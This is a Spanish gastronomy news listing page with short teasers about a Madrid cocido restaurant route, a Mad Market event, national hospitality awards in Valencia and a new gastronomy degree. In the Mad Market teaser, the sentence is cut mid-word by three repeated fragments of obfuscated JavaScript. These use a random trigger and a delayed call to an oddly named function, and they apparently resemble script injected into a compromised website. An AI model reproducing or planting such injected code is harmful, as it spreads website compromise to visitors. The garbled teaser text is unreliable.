La VI Ruta del Cocido Madrileño incorpora una receta histórica

Del 13 de febrero al 31 de Marzo. 33 restaurantes participan en la sexta edición de la Ruta del Cocido Madrileño, del viernes 13 de febrero al jueves 31 de marzo. Desde locales centenarios de la capital a nuevos establecimientos de otros puntos de la región. Todos sirven su propia versión de una de las […]

El Palacio de Gaviría abre sus puertas al diseño y la gastronomía más sorprendentes

Mad Market te ofrece la posibilidad de visitar una obra única del siglo XIX recorriendo 70 standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands con las propuestas de los diseñadores más trendy, el arte más osado y las tendencias gastronómicas más inesperadas. Arte, moda, música, cocina y […]

Valencia acoge la novena edición de los Premios Nacionales de Hostelería

Valencia acogió en la noche de ayer, 24 de noviembre, la celebración de los IX Premios Nacionales de Hostelería, organizados por la Federación Española de Hostelería (FEHR) en colaboración con la Federación Empresarial de Hostelería de Valencia (FEHV). El Palacio de Congresos de Valencia acogió este evento al que acudieron un total de 450 profesionales […]

Nace el Grado en Gastronomía en la Comunidad de Madrid

El curso pasado, la Universidad Francisco de Vitoria y la escuela Le Cordon Bleu de Madrid impartieron el primer Grado en Gastronomía de la Comunidad de Madrid a la que pudieron acceder tan sólo 16 alumnos. Una experiencia que arrancaba aparentemente en silencio y que, tras unos resultados satisfactorios, podemos decir que la gastronomía española […]